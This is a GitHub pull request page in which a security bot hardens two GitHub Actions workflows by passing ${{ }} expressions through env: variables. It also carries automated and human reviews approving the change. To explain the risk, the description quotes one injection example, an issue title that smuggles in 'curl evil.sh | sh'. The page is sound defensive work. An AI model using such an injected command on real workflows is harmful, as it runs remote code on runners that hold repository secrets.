Skip to content

Pass workflow expressions through the environment - #1241

Open
hf-security-analysis[bot] wants to merge 1 commit into
mainfrom
security/expressions-into-env
Open

hf-security-analysis[bot] wants to merge 1 commit into
mainfrom
security/expressions-into-env

Conversation

@hf-security-analysis

@hf-security-analysis hf-security-analysis Bot commented Sep 23, 2026 •

Copy link
Copy Markdown
Contributor

Workflow hardening

Expressions moved into env:

run: echo "${{ github.event.issue.title }}" is not a variable reference. The
expression is substituted into the script before the shell reads it, so an
issue titled "; curl evil.sh | sh; # becomes part of the command — on a
runner holding this repository's GITHUB_TOKEN, and on any ${{ }} a
contributor can set.

Binding the expression in the step's env: block and reading it as a shell
variable makes the value data instead of code. The step runs the same commands
on the same input; the input can no longer become a command.

Workflow Variable Expression
.github/workflows/deploy-hf-env.yml GITHUB_EVENT_INPUTS_COLLECTION_NAMESPACE ${{ github.event.inputs.collection_namespace }}
.github/workflows/deploy-hf-env.yml GITHUB_EVENT_INPUTS_DRY_RUN ${{ github.event.inputs.dry_run }}
.github/workflows/deploy-hf-env.yml GITHUB_EVENT_INPUTS_HF_NAMESPACE ${{ github.event.inputs.hf_namespace }}
.github/workflows/deploy-hf-env.yml GITHUB_EVENT_INPUTS_OPENENV_VERSION ${{ github.event.inputs.openenv_version }}
.github/workflows/deploy-hf-env.yml GITHUB_EVENT_INPUTS_PRIVATE ${{ github.event.inputs.private }}
.github/workflows/deploy-hf-env.yml GITHUB_EVENT_INPUTS_SKIP_COLLECTION ${{ github.event.inputs.skip_collection }}
.github/workflows/openspiel_base_build.yml STEPS_META_OPENSPIEL_BASE_OUTPUTS_TAGS ${{ steps.meta-openspiel-base.outputs.tags }}

Left for a human

These files still carry a template injection. The automatic repair was refused
because the rewrite would not have been faithful — applying it anyway would have
left a workflow that runs, looks fixed and quietly reads the wrong value.

Workflow Why
.github/workflows/publish-testpypi.yml the expression sits in single quotes or a quoted heredoc, where ${NAME} would not be expanded

Opened by the workflow security bot. It changes what this pull request says it
changes, and nothing else.


Note

Low Risk
CI-only workflow edits with no application or runtime logic changes; reduces security risk rather than introducing new behavior.

Overview
Hardens two GitHub Actions workflows by stopping inline ${{ }} substitution inside run shell scripts, where untrusted workflow inputs could be interpreted as shell commands.

In deploy-hf-env.yml, Hugging Face deploy flags (hf_namespace, openenv_version, collection_namespace, private, skip_collection, dry_run) are now set on the step env: block and referenced as normal shell variables when building the prepare_hf_deployment.sh command.

In openspiel_base_build.yml, the build summary step does the same for steps.meta-openspiel-base.outputs.tags, so the printed image tag is data rather than pre-expanded script text.

Behavior is unchanged for legitimate inputs; the goal is to close template-injection risk on runners that hold repo secrets.

Reviewed by Cursor Bugbot for commit a5a15be. Bugbot is set up for automated code reviews on this repo. Configure here.

A `${{ }}` expression inside `run:` is substituted into the script
before the shell reads it, so whoever controls its value controls
part of the command. Binding it in `env:` makes it data.
@burtenshaw burtenshaw added bug Something isn't working size: small Small pull request labels Sep 23, 2026 — with Cursor
@bot-ci-comment

Copy link
Copy Markdown

The docs for this PR live here. All of your documentation changes will be reflected on that endpoint. The docs are available until 30 days after the last update.

@cursor cursor Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

APPROVE at a5a15bef

Correct template-injection hardening: bind ${{ … }} in env: and read shell vars so untrusted/workflow inputs stay data, not script text. Touches only deploy-hf-env.yml + openspiel_base_build.yml — not publish-pypi.yml / publish-testpypi.yml (and the PR correctly leaves the quoted TestPyPI case for a human). No package cargo.

Timing: prefer merge after tomorrow’s v0.6.0 tag so we don’t churn another exact-main/#1211 CI cycle on release day. Safe either way — if it lands first, refresh #1211 only (no TestPyPI republish).

View PR

Open in Web View Automation 

Sent by Cursor Automation: Release

@cursor cursor Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Alignment Review Report

PR #1241 — "Pass workflow expressions through the environment" (security/expressions-into-env, hf-security-analysis[bot]). Same automated hardening series as #1239 (token scoping) and #1240 (SHA-pinning); this one applies GitHub's recommended script-injection mitigation — moving ${{ … }} workflow expressions out of inline run: shell interpolation into env: variables that the script references as quoted shell variables.

Automated Checks

  • Lint: N/A (PASS for scope) — diff is GitHub Actions YAML only (no src/, tests/, or envs/ Python). The lint.sh hook (ruff/usort over Python) doesn't cover .github/, and uv isn't preinstalled on the review VM. git diff --name-only <base>..<head> -- '*.py' is empty.
  • Debug code: CLEAN — check-debug.sh scans src/ only; every hit it reports is pre-existing and unrelated to this PR's two files.
  • YAML sanity: PASS — both files parse via yaml.safe_load.
  • Merge: CLEAN — git merge-tree --write-tree <base> <head> exits 0 (no conflict with main).

What the change does (verified correct + behavior-preserving)

deploy-hf-env.yml (Deploy selected environments): the six workflow_dispatch inputs (hf_namespace, openenv_version, collection_namespace, private, skip_collection, dry_run) are now defined in the step env: block and referenced as quoted shell vars ("${GITHUB_EVENT_INPUTS_…}") instead of inline ${{ github.event.inputs.* }}. Verified: every env: name maps 1:1 to its use in the script (no typos; with set -euo pipefail a mismatch fails loudly); no ${{ … }} interpolation remains inside either file's run: blocks; values flow identically, so behavior is preserved while the injection/word-split surface of the inline form is removed.

openspiel_base_build.yml (Build summary): ${{ steps.meta-openspiel-base.outputs.tags }} moved to env: STEPS_META_OPENSPIEL_BASE_OUTPUTS_TAGS, referenced inside a double-quoted echo. That value is produced by docker/metadata-action (not user input), so this is consistency hardening rather than a fix for an exploitable vector.

Open RFCs Context

Active RFCs — In Review: 000, 001, 002, 003, 005, 008, 012; Draft: 010, 011; 004 (Rubrics) has no status header. None govern CI / GitHub Actions, so no RFC is implicated by a workflow-only change.

Tier 1: Fixes Required

None. No lint/debug/syntax/type issues in the changed files, and no credential exposure — HF_TOKEN/GITHUB_TOKEN remain secrets.*-sourced and are never echoed; echo "Running: …" prints only non-secret inputs. The change is security-positive.

Tier 2: Alignment Discussion

Principle Conflicts

None identified. The diff touches only CI plumbing — no runtime API, MCP/WebSocket boundary, reward computation, client-server separation, or container-isolation surface. It aligns with the repo's container-isolation/security + reproducibility posture (PRINCIPLES.md) and the recent hardening series.

RFC Conflicts

None identified.

Minor / non-blocking notes

  1. Reserved GITHUB_ env-var prefix (deploy-hf-env.yml:70-75). The six new names start with GITHUB_, which GitHub reserves for built-in variables. In an inline env: block these specific names aren't among the ~35 default GITHUB_* vars, so they work today — but the prefix is discouraged (and the same names are rejected outright if ever promoted to repository/environment variables or secrets). The file already uses the un-prefixed ENVS_CSV_INPUT (line 69) for exactly this; matching that convention (e.g. HF_NAMESPACE_INPUT, OPENENV_VERSION_INPUT, …) would be more robust and consistent.
  2. Completeness (informational). After this PR, the only ${{ … }} still interpolated inside run: blocks repo-wide are format-constrained or trusted values — commit SHAs (test.yml:41-42), the repo's own matrix.python-version (test.yml:129,134), and a job output (publish-testpypi.yml:159,170) — none of which are free-text attacker input. The higher-risk surface is already clean; a maintainer may still choose to env-indirect these for full consistency.

Suggested reviewers

  • @burtenshaw — owns .github/ workflows + dependabot.yml; last human author of deploy-hf-env.yml.
  • cc @sergiopaniego — last human author of openspiel_base_build.yml.

Summary

  • 0 mechanical (Tier 1) issues to fix
  • 0 alignment / principle points for human review
  • 0 RFC conflicts
  • Net: a correct, behavior-preserving, security-positive hardening. One minor non-blocking naming nit (reserved GITHUB_ prefix) + an informational completeness note.
Open in Web View Automation 

Sent by Cursor Automation: Pre-review

Comment on lines +70 to +75
GITHUB_EVENT_INPUTS_HF_NAMESPACE: ${{ github.event.inputs.hf_namespace }}
GITHUB_EVENT_INPUTS_OPENENV_VERSION: ${{ github.event.inputs.openenv_version }}
GITHUB_EVENT_INPUTS_COLLECTION_NAMESPACE: ${{ github.event.inputs.collection_namespace }}
GITHUB_EVENT_INPUTS_PRIVATE: ${{ github.event.inputs.private }}
GITHUB_EVENT_INPUTS_SKIP_COLLECTION: ${{ github.event.inputs.skip_collection }}
GITHUB_EVENT_INPUTS_DRY_RUN: ${{ github.event.inputs.dry_run }}

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Correct application of GitHub's recommended script-injection mitigation: these workflow_dispatch inputs are now referenced below as quoted shell variables ("${GITHUB_EVENT_INPUTS_…}") instead of being interpolated inline, and each name maps 1:1 to its use in the run: script (with set -u, a typo would fail loudly). Behavior is preserved.

Minor / non-blocking: the GITHUB_ prefix is reserved by GitHub for built-in variables. These specific names aren't among the default GITHUB_* vars, so they work in an inline env: block — but the prefix is discouraged, and names like these are rejected outright if ever moved to repository/environment variables or secrets. This file already uses the un-prefixed ENVS_CSV_INPUT (line 69) for the same purpose; matching that convention (e.g. HF_NAMESPACE_INPUT, OPENENV_VERSION_INPUT, …) would be more robust and consistent.

run: |
echo "✅ OpenSpiel base image built and pushed successfully!"
echo "📦 Image: ${{ steps.meta-openspiel-base.outputs.tags }}"
echo "📦 Image: ${STEPS_META_OPENSPIEL_BASE_OUTPUTS_TAGS}"

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Behavior-preserving and correct — the tag is now referenced as a quoted shell variable backed by the env: entry below. Since steps.meta-openspiel-base.outputs.tags is generated by docker/metadata-action (not user input), this is consistency hardening rather than a fix for an exploitable vector. The env var name here avoids the reserved GITHUB_ prefix, so no change needed.

@k21993 k21993 left a comment •

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Reviewed exact head a5a15bef.

The seven workflow expressions map one-to-one to environment variables, every shell read is quoted, and the bash array keeps each workflow input as a single argument. Neither changed run block contains an inline workflow expression.

The two workflow files have not changed on main since this PR branched. GitHub reports the head as mergeable, git diff --check passes, and CI is green at this head. The branch is behind main, but updating it is procedural rather than a correctness blocker.

I found no issue with the workflow hardening and no affected OpenEnv runtime invariant or RFC.

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

bug Something isn't working size: small Small pull request

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants